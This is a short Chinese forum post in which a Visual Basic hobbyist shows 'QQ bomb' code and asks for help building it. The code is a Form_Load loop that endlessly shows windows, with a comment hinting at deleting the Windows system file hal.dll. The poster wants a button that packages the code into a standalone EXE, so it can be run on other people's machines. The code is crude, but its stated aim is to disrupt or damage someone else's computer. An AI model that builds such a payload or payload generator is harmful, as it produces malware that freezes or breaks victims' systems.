QQ炸弹代码：
    Private Sub Form_Load()
        for i = 1 to 1E+22
            form1.show
            form2.show
            form3.show
            form4.show
            form5.show
        next i
    end sub                 'kill ( ****** hal.dll)
    
    我想把在form1里设置一个command1，按钮名字为生成QQ炸弹，当点这个按钮时候弹出保存对话框，把上面那段QQ炸弹代码保存为一个EXE文件，把一段QQ炸弹代码生成为一个EXE，然后生成的那个EXE，运行了就是那个QQ炸弹。该怎么做列？？？高手指教